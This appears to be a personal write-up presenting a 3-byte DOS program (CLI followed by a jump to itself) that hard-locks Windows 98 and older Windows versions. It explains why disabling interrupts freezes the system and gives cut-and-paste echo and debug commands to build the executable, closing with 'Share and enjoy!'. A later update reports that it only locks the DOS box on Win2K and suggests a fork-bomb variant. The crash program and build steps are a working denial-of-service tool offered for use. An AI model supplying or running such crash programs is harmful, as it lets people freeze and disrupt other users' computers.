I wrote this program a few years ago to demonstrate how easy it is to break the lousy process scheduling in Windows 98.
Running this 3 byte program will lockup a PC running Windows 98 or any older version of Windows, and might work on newer versions - I haven't tried it on any others. Warning: I'm not kidding about it locking up your computer - it will lock it up so hard that you'll need to hit the reset switch or power switch to recover.
138A:0100 FA CLI
138A:0101 EBFE JMP 0101
How it works:
The CLI turns off all the interrupts. No sane OS allows a usermode program to do this.
The JMP does a relative jump to itself. Because the interrupts are disabled, there is no way for the OS to prevent the CPU from spending 100% of its time on this endless loop. Again, this sort of thing isn't possible in sane operating systems.
How to make the executable:
(1) Open a DOS window.
(2) Cut & paste
the following text into the window:
echo. > die.com
echo a > script
echo cli >> script
echo jmp 101 >> script
echo. >> script
echo w >> script
echo q >> script
debug die.com < script
You now have a 3 byte executable called die.com that will bring Windows 98 to its knees. Share and enjoy!
If anyone tries this on Win2K/XP/ME, please msg me & let me know what happens. :)
UPDATE: June, 2005
I've finally gotten around to testing this under Win2K
, & it doesn't work. It merely locks up
the DOS box in which it's running, and can be killed without too much difficulty. This implies that it'll be harmless on WinXP
as well, but should work okay on WinME
. I suspect that the way to duplicate the Win98 effect on Win2K would be to turn it into a fork-bomb
. I'll do some research when I next resupply on circular tuits
, and update this write-up again.